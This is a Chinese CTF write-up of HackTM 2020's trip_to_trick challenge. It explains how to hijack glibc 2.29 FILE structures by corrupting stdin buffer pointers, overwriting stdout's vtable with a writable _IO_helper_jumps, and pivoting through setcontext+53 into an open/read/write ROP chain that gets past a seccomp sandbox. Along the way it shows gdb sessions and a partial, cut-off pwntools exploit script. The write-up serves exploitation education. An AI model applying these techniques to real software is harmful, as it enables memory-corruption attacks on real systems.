**文中改写源码地址：**[https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Win10&Win8](https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Win10&Win8) | 社区文章 |
## 前言
前几天打了`HackTM CTF`，遇到了这样一道在`glibc
2.29`下的文件利用的新型题目，虽然是用了更新的glibc，但是`glibc2.29`的一个新特性使得解决方法比低版本的glibc文件利用更简单了一些，这里同大家分享一下。
## HackTM CTF 2020->trip_to_trick
### 程序分析
文件为64位程序，保护全开，逻辑很简单，开头的`gift`输出了`system`函数的libc地址，在给定libc的条件下我们可以根据其在libc中的偏移计算得到libc基地址。之后有两次地址任意写的机会，最后关闭了`stdout`、`stdin`以及`stderr`。
在程序的开头有一个`nohack`函数，可以看到出题人调用`mprotect`把从`&stdout[10]._IO_write_end`开始的0x700字节设置为了只读，避免我们修改其中的值，这块区域我们动态调试看下，发现其内容是很多形如`_IO*_jumps`的`vtable`，也就是让这些`vtable`只读不可写。
int nohack()
{
if ( ((_WORD)stdout + 0x8A0) & 0xFFF )
{
puts("mprotect error");
exit(1);
}
return mprotect(&stdout[10]._IO_write_end, 0x700uLL, 1);// 可读
}
gdb-peda$ p & _IO_2_1_stdout_
$6 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_>
gdb-peda$ x/8gx 0x7ffff7f6c760+0x8a0
0x7ffff7f6d000 <_IO_wfile_jumps_mmap+160>: 0x00007ffff7e19940 0x0000000000000000
0x7ffff7f6d010: 0x0000000000000000 0x0000000000000000
0x7ffff7f6d020 <_IO_wfile_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7f6d030 <_IO_wfile_jumps+16>: 0x00007ffff7e15ff0 0x00007ffff7e10140
gdb-peda$ vmmap 0x7ffff7f6d000
Start End Perm Name
0x00007ffff7f6d000 0x00007ffff7f6e000 r--p /usr/lib/x86_64-linux-gnu/libc-2.29.so
此外程序开了沙箱，其规则如下，给`open/read/write/mmap/mprotect/brk/rt_sigreturn/exitexit_group`这些系统调用开了白名单，其余一律禁掉。
wz@wz-virtual-machine:~/Desktop/CTF/BitsCTF/trip_to_trick1$ seccomp-tools dump ./trip_to_trick
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0b 0xffffffff if (A != 0xffffffff) goto 0016
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0015
0009: 0x15 0x05 0x00 0x00000009 if (A == mmap) goto 0015
0010: 0x15 0x04 0x00 0x0000000a if (A == mprotect) goto 0015
0011: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0015
0012: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0015
0013: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0015
0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v4; // [rsp+18h] [rbp-18h]
__int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
v5 = 0LL;
sandbox();
nohack();
main_init();
printf("gift : %p\n", &system);
printf("1 : ");
__isoc99_scanf("%llx %llx", &v4, &v5);
*v4 = v5; // 一次任意地址写
printf("2 : ", &v4); // can we leak this time?
__isoc99_scanf("%llx %llx", &v4, &v5);
*v4 = v5; // retn_addr = sth to go on rop?
fclose(stdout);
fclose(stdin);
fclose(stderr);
return 0;
}
### 漏洞利用
在之前的glibc
pwn中我们大都做过无输出的glibc泄露型题目，即通过修改`_IO_write_base`输出`_IO_write_base`到`_IO_write_ptr`的所有内容，最开始我的思路是一次任意写将`_IO_write_ptr`改成`environ`，从而泄露出`stack`相关地址，下一次的任意地址写向返回地址写入`gadget`，这种思路在没开沙箱以及没关闭输入输出流的情况下或许可行，但是沙箱使得我们无法getshell，而关闭输入输出也使得我们无法控制进行更多输入来构造`rop
chain`。这种情况下其实就暗示了我们需要从文件利用入手，且关注点应该放在`fclose`上。
gdb-peda$ p _IO_2_1_stdout_
$3 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}
那么我们先分析一下`fclose`的源码，其核心函数是位于`/libio/iofclose.c`的`_IO_new_fclose`函数，其大致流程是：首先检查文件结构体指针，之后使用`_IO_un_link`将文件结构体从`_IO_list_all`链表取下，`_IO_file_close_it`会最终调用系统调用关闭文件描述符，之后调用`_IO_FINISH(fp)`，如果并非`stdin/stdout/stderr`最后调用`free(fp)`释放结构体指针。关于`fclose`等函数的详细分析可以参见[raycp](https://xz.aliyun.com/t/5445)
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_flags = 0;
free(fp);
}
return status;
}
看一下这里的`_IO_FINISH`，会发现是一个宏，其实际上是`vtable`的函数指针
/* The 'finish' function does any final cleaning up of an _IO_FILE object.
It does not delete (free) it, but does everything else to finalize it.
It matches the streambuf::~streambuf virtual destructor. */
typedef void (*_IO_finish_t) (FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
核心的实现为`_IO_new_file_finish`函数，里面调用了`_IO_default_finish (fp,
0);`，再往后我们不需要再跟了，因为这里我们发现函数的调用方式及参数是固定的，如果我们能控制`vtable`及参数即可劫持执行流。
void
_IO_new_file_finish (FILE *fp, int dummy)
{
if (_IO_file_is_open (fp))
{
_IO_do_flush (fp);
if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
_IO_SYSCLOSE (fp);
}
_IO_default_finish (fp, 0);
}
那么下面就有了俩问题，一是如何控制输入可以覆盖到文件结构体的`vtable`？二是自glibc
2.24后加入了`vtable_check`机制，要如何伪造`vtable`以及改写`vtable`呢？
我们先来看第一个问题。
#### 控制输入
这个题目和`WCTF2016`的一道`wannaheap`非常相似，原题现也已放在`pwnable.tw`，可以参见[FlappyPig](https://www.anquanke.com/post/id/87194)的分析，其大致原理和刚才所说的`stdout`输入相似，即当我们能够控制`_IO_2_1_stdin_`的`_IO_buf_base`以及`_IO_buf_end`字段，我们的输入将落在`_IO_buf_base`到`_IO_buf_end`之间的区域。因此我们用第一次的任意地址写将`_IO_buf_end`改到`value`，之后就可以控制`_IO_buf_base`到`value`之间的所有值，同理如果我们修改`_IO_buf_base`的值为`value`，我们也能控制`val`到`_IO_buf_end`的这块空间。
gdb-peda$ p _IO_2_1_stdin_
$9 = {
file = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ffff7f6ba84 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e590 <_IO_stdfile_0_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6bae0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}
#### 伪造|修改 vtable
在glibc 2.23的`house-of-orange`利用中我们已经有了一套成熟的流程来伪造`vtable`到堆上并在堆上布置函数指针的方式来劫持执行流，但是在glibc
2.24之后由于有`vtable_check`的存在，我们的`vtable`必须要处于`__start___libc_IO_vtables`和
`__start___libc_IO_vtables`之间，因此我们伪造的vtable必须是其原有的`vtable`，这一点在[house of
orange in glibc
2.24](https://xz.aliyun.com/t/2411)解释的很清楚。此外有了`vtable`，最大的难题是按照我们以往经验，在`glibc
2.23`以及`glibc
2.27`其都是不可写的。我们可以找俩vtable分别验证一下，显示确实只读。不过到这里回想下既然都可读，为什么出题人多此一举要再把一些`vtable`改成只读呢，这里其实已经暗示了，`vtable在glibc
2.29是可写的`。这里我们换一个不在这块被修改了权限区域的`vtable`，查看其权限，确实可写。
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
gdb-peda$ p & _IO_file_jumps
$2 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
gdb-peda$ vmmap 0x7ffff7dd06e0
Start End Perm Name
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
pwndbg> p & _IO_helper_jumps
$1 = (const struct _IO_jump_t *) 0x7ffff7b86820 <_IO_helper_jumps>
pwndbg> vmmap 0x7ffff7b86820
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7b86000 0x7ffff7b8a000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
pwndbg>
gdb-peda$ p & _IO_helper_jumps
$1 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps>
gdb-peda$ vmmap 0x7ffff7f6ca20
Start End Perm Name
0x00007ffff7f6b000 0x00007ffff7f6d000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.29.so
gdb-peda$ p _IO_helper_jumps
$13 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e0d600 <__GI__IO_wdefault_finish>,
__overflow = 0x7ffff7e01250 <_IO_helper_overflow>,
__underflow = 0x7ffff7e18140 <_IO_default_underflow>,
__uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>,
__xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>,
__seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>,
__seekpos = 0x7ffff7e18800 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>,
__sync = 0x7ffff7e18a60 <_IO_default_sync>,
__doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>,
__read = 0x7ffff7e19910 <_IO_default_read>,
__write = 0x7ffff7e19920 <_IO_default_write>,
__seek = 0x7ffff7e198f0 <_IO_default_seek>,
__close = 0x7ffff7e18a60 <_IO_default_sync>,
__stat = 0x7ffff7e19900 <_IO_default_stat>,
__showmanyc = 0x0,
__imbue = 0x0
}
#### 最终利用思路
这里我们发现自己的思路是可行的，还有一个关键问题是如何寻找合适的`vtable`，这里我的方法就比较无脑了，首先拿`vscode`全局搜索`_IO_jump_t`，找到一个这种类型的变量记录下名称到`gdb`中查看其权限，最后选择`_IO_helper_jumps`这个`vtable`。
所以最后我们的利用链是：
1. 拿一次任意地址写将`_IO_buf_end`改为`_IO_helper_jumps_addr+0x200`，调试可以发现`stdout`在``_IO_helper_jumps_addr`前面，这样保证都可以覆盖到，至于为什么目标是`stdout`是因为我们fclose的第一个对象是`stdout`
2. 构造`payload`，覆写`_IO_2_1_stdout_`的`vtable`为`_IO_helper_jumps`，覆写`_IO_helper_jumps`的`__GI__IO_wdefault_finish`为`setcontext+53`，只要我们可以控制`rdx+*`的区域就可以控制其参数
3. 根据setcontext的参数对应，这里`rcx`是ret之后执行的`rip`，我们设置其为一个`leav;ret`的gadget，在`rbp`设置我们`rop chain`的地址-8，栈迁移之后调用`open/read/write`系统调用，至于`rop chain`，我们把它布置到`main_arena`前一大段零字节区域。
gdb-peda$ p & setcontext
$14 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext>
gdb-peda$ x/32i 0x7ffff7ddce00+53
0x7ffff7ddce35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7ddce3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7ddce43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7ddce47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7ddce4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7ddce4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7ddce53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7ddce57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
0x7ffff7ddce5e <setcontext+94>: push rcx
0x7ffff7ddce5f <setcontext+95>: mov rsi,QWORD PTR [rdx+0x70]
0x7ffff7ddce63 <setcontext+99>: mov rdi,QWORD PTR [rdx+0x68]
0x7ffff7ddce67 <setcontext+103>: mov rcx,QWORD PTR [rdx+0x98]
0x7ffff7ddce6e <setcontext+110>: mov r8,QWORD PTR [rdx+0x28]
0x7ffff7ddce72 <setcontext+114>: mov r9,QWORD PTR [rdx+0x30]
0x7ffff7ddce76 <setcontext+118>: mov rdx,QWORD PTR [rdx+0x88]
0x7ffff7ddce7d <setcontext+125>: xor eax,eax
0x7ffff7ddce7f <setcontext+127>: ret
### 调试
上述利用思路3里有一个核心的部分是控制`rdx`，这里有一个简单的方法来迅速验证某些猜想，即在gdb中使用强制修改内存的方式模拟溢出过程，比如这里我们希望查看调用`setcontext+53`时候的情况，使用`set
{long long} 0x7ffff7f6c838 =
0x7ffff7f6ca20`修改stdout的vtable为`_IO_helper_jumps`，使用`set {long long}
0x7ffff7f6ca30 =
0x7ffff7ddce35`修改`_IO_helper_jumps->__finish`为`setcontext+53`，
gdb-peda$ p & _IO_2_1_stdout_
$1 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_>
gdb-peda$ p _IO_2_1_stdout_
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}
gdb-peda$ telescope 0x7ffff7f6c760 40
0000| 0x7ffff7f6c760 --> 0xfbad2887
0008| 0x7ffff7f6c768 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0016| 0x7ffff7f6c770 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0024| 0x7ffff7f6c778 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0032| 0x7ffff7f6c780 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0040| 0x7ffff7f6c788 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0048| 0x7ffff7f6c790 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0056| 0x7ffff7f6c798 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0064| 0x7ffff7f6c7a0 --> 0x7ffff7f6c7e4 --> 0xf7f6e58000000000
0072| 0x7ffff7f6c7a8 --> 0x0
0080| 0x7ffff7f6c7b0 --> 0x0
0088| 0x7ffff7f6c7b8 --> 0x0
0096| 0x7ffff7f6c7c0 --> 0x0
0104| 0x7ffff7f6c7c8 --> 0x7ffff7f6ba00 --> 0xfbad208b
0112| 0x7ffff7f6c7d0 --> 0x1
0120| 0x7ffff7f6c7d8 --> 0xffffffffffffffff
0128| 0x7ffff7f6c7e0 --> 0x0
0136| 0x7ffff7f6c7e8 --> 0x7ffff7f6e580 --> 0x0
0144| 0x7ffff7f6c7f0 --> 0xffffffffffffffff
0152| 0x7ffff7f6c7f8 --> 0x0
0160| 0x7ffff7f6c800 --> 0x7ffff7f6b8c0 --> 0x0
0168| 0x7ffff7f6c808 --> 0x0
0176| 0x7ffff7f6c810 --> 0x0
0184| 0x7ffff7f6c818 --> 0x0
0192| 0x7ffff7f6c820 --> 0xffffffff
--More--(25/40)0200| 0x7ffff7f6c828 --> 0x0
0208| 0x7ffff7f6c830 --> 0x0
0216| 0x7ffff7f6c838 --> 0x7ffff7f6d560 --> 0x0
gdb-peda$ p & _IO_helper_jumps
$3 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps>
gdb-peda$ telescope 0x7ffff7f6ca20
0000| 0x7ffff7f6ca20 --> 0x0
0008| 0x7ffff7f6ca28 --> 0x0
0016| 0x7ffff7f6ca30 --> 0x7ffff7e0d600 (<__GI__IO_wdefault_finish>: push rbx)
0024| 0x7ffff7f6ca38 --> 0x7ffff7e01250 (<_IO_helper_overflow>: push r13)
0032| 0x7ffff7f6ca40 --> 0x7ffff7e18140 (<_IO_default_underflow>: mov eax,0xffffffff)
0040| 0x7ffff7f6ca48 --> 0x7ffff7e18150 (<__GI__IO_default_uflow>: push rbp)
0048| 0x7ffff7f6ca50 --> 0x7ffff7e0d430 (<__GI__IO_wdefault_pbackfail>: push r15)
0056| 0x7ffff7f6ca58 --> 0x7ffff7e0d760 (<__GI__IO_wdefault_xsputn>: push r15)
gdb-peda$ p & setcontext
$5 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext>
gdb-peda$ x/8i 0x7ffff7ddce00+53
0x7ffff7ddce35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7ddce3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7ddce43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7ddce47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7ddce4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7ddce4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7ddce53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7ddce57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
效果如下,可以看到调用`setcontext+53`的时候其参数寄存器`rdx`的内容为`_IO_helper_jumps`，后面的部分均可控，至此，我们完成了漏洞利用的全过程。
gdb-peda$ set {long long} 0x7ffff7f6c838 = 0x7ffff7f6ca20
gdb-peda$ set {long long} 0x7ffff7f6ca30 = 0x7ffff7ddce35
gdb-peda$ p _IO_2_1_stdout_
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6ca20 <_IO_helper_jumps>
}
gdb-peda$ p _IO_helper_jumps
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7ddce35 <setcontext+53>,
__overflow = 0x7ffff7e01250 <_IO_helper_overflow>,
__underflow = 0x7ffff7e18140 <_IO_default_underflow>,
__uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>,
__xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>,
__seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>,
__seekpos = 0x7ffff7e18800 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>,
__sync = 0x7ffff7e18a60 <_IO_default_sync>,
__doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>,
__read = 0x7ffff7e19910 <_IO_default_read>,
__write = 0x7ffff7e19920 <_IO_default_write>,
__seek = 0x7ffff7e198f0 <_IO_default_seek>,
__close = 0x7ffff7e18a60 <_IO_default_sync>,
__stat = 0x7ffff7e19900 <_IO_default_stat>,
__showmanyc = 0x0,
__imbue = 0x0
}
gdb-peda$ p $rdx
$4 = 0x7ffff7f6c960
gdb-peda$ x/8gx 0x7ffff7f6c960
0x7ffff7f6c960 <_IO_helper_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7f6c970 <_IO_helper_jumps+16>: 0x00007ffff7e18a70 0x00007ffff7dfb530
0x7ffff7f6c980 <_IO_helper_jumps+32>: 0x00007ffff7e18140 0x00007ffff7e18150
0x7ffff7f6c990 <_IO_helper_jumps+48>: 0x00007ffff7e197b0 0x00007ffff7e181b0
### exp.py
代码写的很无脑，关掉地址随机化查看内存内容之后加上偏移，保证其余部分不变，有余力的朋友可以dump下内存自动化地构造payload。
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./trip_to_trick')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./trip_to_trick')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def exp():
#leak libc
#raw_input()
p.recvuntil("gift : 0x")
libc_base = int(p.recvline().strip('\n'),16) - libc.sym['system']
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr = libc.sym['_IO_2_1_stderr_']
environ = libc.sym['environ']
IO_helper_jumps = libc_base + (0x7ffff7f6ca20 - 0x7ffff7d87000)
static_libc = 0x7ffff7d87000
#gdb.attach(p,'b* 0x0000555555554000+0x1527')
p.recvuntil("1 : ")
p.sendline(hex(stdin+0x40))#_IO_buf_end
p.sendline(hex(IO_helper_jumps+0x200))#_IO_buf_base
#huge payload
payload = '\x0a'+'\x00'*4
layout = [
libc_base + (0x7ffff7f6e590-static_libc),
0xffffffffffffffff,
0x0,
0x7ffff7f6bae0,
0x0,
0x0,
0x0,
0xffffffff,
libc_base + (0x7ffff7f6bac8-static_libc),
0x0,
0x7ffff7f6d560
]
layout = flat(layout)
payload += layout
#start with 0x7ffff7f6bae0
fake_top_chunk = libc_base + (0x7ffff7f6bae0-static_libc)
part2 = p64(0)+p64(0x10000-(fake_top_chunk&0xf000)+1)
arg_list = [libc_base+(0x7ffff7f6ca10-static_libc),libc_base+(0x7ffff7f6ca50-static_libc)]
leave_ret = libc_base + 0x0000000000058373
p_rdx_rsi = libc_base + 0x000000000012bdc9
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
